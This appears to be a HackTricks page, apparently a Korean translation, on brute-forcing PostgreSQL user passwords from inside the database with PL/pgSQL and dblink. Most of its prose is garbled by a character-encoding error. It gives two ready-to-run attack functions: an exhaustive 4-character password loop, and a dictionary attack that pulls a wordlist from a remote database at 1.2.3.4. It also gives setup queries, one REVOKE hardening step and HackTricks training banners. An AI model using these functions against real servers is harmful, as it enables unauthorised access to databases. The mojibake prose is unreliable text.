PL/pgSQL ๋น๋ฐ๋ฒํธ ๋ธ๋ฃจํธํฌ์ค
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์๋ณธ ๋ฌธ์์์ ์ด๋ฌํ ๊ณต๊ฒฉ์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ฅผ ์ฐพ์ผ์ธ์.
PL/pgSQL์ ๊ฐํ๋ ์ ์ฐจ์ ์ ์ด๋ฅผ ์ ๊ณตํ์ฌ SQL์ ๊ธฐ๋ฅ์ ๋์ด์๋ ์์ ํ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ๋๋ค. ์ฌ๊ธฐ์๋ ๋ฃจํ ๋ฐ ๋ค์ํ ์ ์ด ๊ตฌ์กฐ์ ํ์ฉ์ด ํฌํจ๋ฉ๋๋ค. PL/pgSQL ์ธ์ด๋ก ์์ฑ๋ ํจ์๋ SQL ๋ฌธ ๋ฐ ํธ๋ฆฌ๊ฑฐ์ ์ํด ํธ์ถ๋ ์ ์์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค ํ๊ฒฝ ๋ด์์์ ์์ ๋ฒ์๋ฅผ ๋ํ๋๋ค.
์ด ์ธ์ด๋ฅผ ์ ์ฉํ์ฌ PostgreSQL์ ์ฌ์ฉ์ ์๊ฒฉ ์ฆ๋ช ์ ๋ธ๋ฃจํธํฌ์คํ๋๋ก ์์ฒญํ ์ ์์ง๋ง, ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์กด์ฌํด์ผ ํฉ๋๋ค. ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ์ธ์:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
๊ธฐ๋ณธ์ ์ผ๋ก, ํจ์๋ฅผ ์์ฑํ๋ ๊ฒ์ PUBLIC์๊ฒ ๋ถ์ฌ๋ ๊ถํ์ ๋๋ค, ์ฌ๊ธฐ์ PUBLIC์ ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ ์ ๋ชจ๋ ์ฌ์ฉ์๋ฅผ ์๋ฏธํฉ๋๋ค. ์ด๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด, ๊ด๋ฆฌ์๋ PUBLIC ๋๋ฉ์ธ์์ USAGE ๊ถํ์ ์ฒ ํํด์ผ ํ์ ๊ฒ์ ๋๋ค:
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
๊ทธ ๊ฒฝ์ฐ, ์ด์ ์ฟผ๋ฆฌ๋ ๋ค๋ฅธ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ ๊ฒ์ ๋๋ค:
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
๋ค์ ์คํฌ๋ฆฝํธ๊ฐ ์๋ํ๋ ค๋ฉด dblink ํจ์๊ฐ ์กด์ฌํด์ผ ํฉ๋๋ค. ์กด์ฌํ์ง ์๋ ๊ฒฝ์ฐ ๋ค์์ ์ฌ์ฉํ์ฌ ์์ฑํด ๋ณผ ์ ์์ต๋๋ค.
CREATE EXTENSION dblink;
Password Brute Force
์ฌ๊ธฐ 4์ ๋น๋ฐ๋ฒํธ ๋ธ๋ฃจํธํฌ์ค๋ฅผ ์ํํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค:
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
4์๋ฆฌ๋ฅผ ๋ฌด์ฐจ๋ณ ๋์ ํ๋ ๊ฒ์กฐ์ฐจ ๋ช ๋ถ์ด ๊ฑธ๋ฆด ์ ์์์ ์ ์ํ์ธ์.
๋ํ ๋จ์ด ๋ชฉ๋ก์ ๋ค์ด๋ก๋ํ๊ณ ํด๋น ๋น๋ฐ๋ฒํธ๋ง ์๋ํ ์ ์์ต๋๋ค(์ฌ์ ๊ณต๊ฒฉ):
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


